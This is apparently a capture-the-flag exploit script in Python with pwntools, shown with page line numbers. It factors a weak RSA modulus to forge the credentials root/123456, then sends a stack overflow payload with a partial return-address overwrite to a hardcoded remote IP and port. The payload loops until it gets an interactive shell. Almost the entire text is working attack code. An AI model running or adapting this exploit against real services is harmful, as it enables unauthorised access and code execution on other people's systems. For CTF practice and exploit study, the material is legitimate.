1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
| import gmpy2
from pwn import *
from Crypto.Util.number import *
k = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDB, 0xEA,
0xD6, 0x43, 0xEC, 0xC7, 0xD7, 0x2A, 0x1B, 0x31, 0x03, 0xAB,
0xA0, 0x0F, 0x1C, 0xA3, 0xAD, 0x0C, 0x54, 0xFD, 0x7F, 0x69,
0x78, 0xAE, 0x72, 0xBE, 0xFE, 0x18, 0xA0, 0x43, 0xC1, 0xF9,
0x52, 0xAD, 0xBB, 0x39, 0xC5, 0x64, 0xF0, 0xD4, 0x3B, 0x8E,
0x3A, 0xEB, 0xCA, 0xEC, 0x57, 0x7C, 0x86, 0xE8, 0x11, 0x4C,
0xE1, 0xE4, 0xF5, 0x31, 0xF8, 0x3B, 0x00, 0xFD, 0xD0, 0x5E,
0x9B, 0x62, 0x2A, 0x07, 0xF3, 0x8D, 0x5A, 0x97, 0x9C, 0x88,
0x69, 0x13, 0x9F, 0x0E, 0x1B, 0xDE, 0x97, 0xC1, 0x10, 0x34,
0xAD, 0xFC, 0xB1, 0x5F, 0xDF, 0xFF, 0x8C, 0xFD, 0xB8, 0xC9,
0x0B, 0xC6, 0xD4, 0xA0, 0x0E, 0x18, 0xCA, 0xEB, 0x4B, 0x2E,
0x04, 0x98, 0xBA, 0x70, 0x03, 0xB6, 0x8B, 0x0D, 0xDE, 0xF8,
0xF0, 0xAD, 0xFD, 0xEC, 0x42, 0x16, 0x65, 0x68, 0x05, 0x7F,
0x6C, 0x75, 0xCE, 0xFC, 0x09, 0xE7]
n = bytes_to_long(bytes(k))
print(n)
def decodeRsa(data):
p = 1802465129
q = 85677775286350799819413164907044312338120860315888062265846466732206531516128818603767084759306045262988315845019969578355104960893414964164108295557604303075617442207875462568807770788628040323538942313821605582248642687594091287389423069863987130531419955225150766186650988898840084278136888284367
n = p * q
e = 0x10001
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
c = bytes_to_long(data)
m = pow(c, d, n)
return long_to_bytes(m)
while True:
try:
context.log_level = "debug"
sh = remote('115.28.187.226', 28352)
sh.sendlineafter("> ", "2")
sh.sendafter('name:', decodeRsa(b"root"))
sh.sendafter('password:', decodeRsa(b"123456"))
sh.sendafter('message:', 'a' * 0x18 + '\xa2\x29')
sh.sendlineafter("token:", "icqa2c8fd7f47640b7b12c098c5fa4e1", timeout=1)
sh.interactive()
except EOFError:
pass
|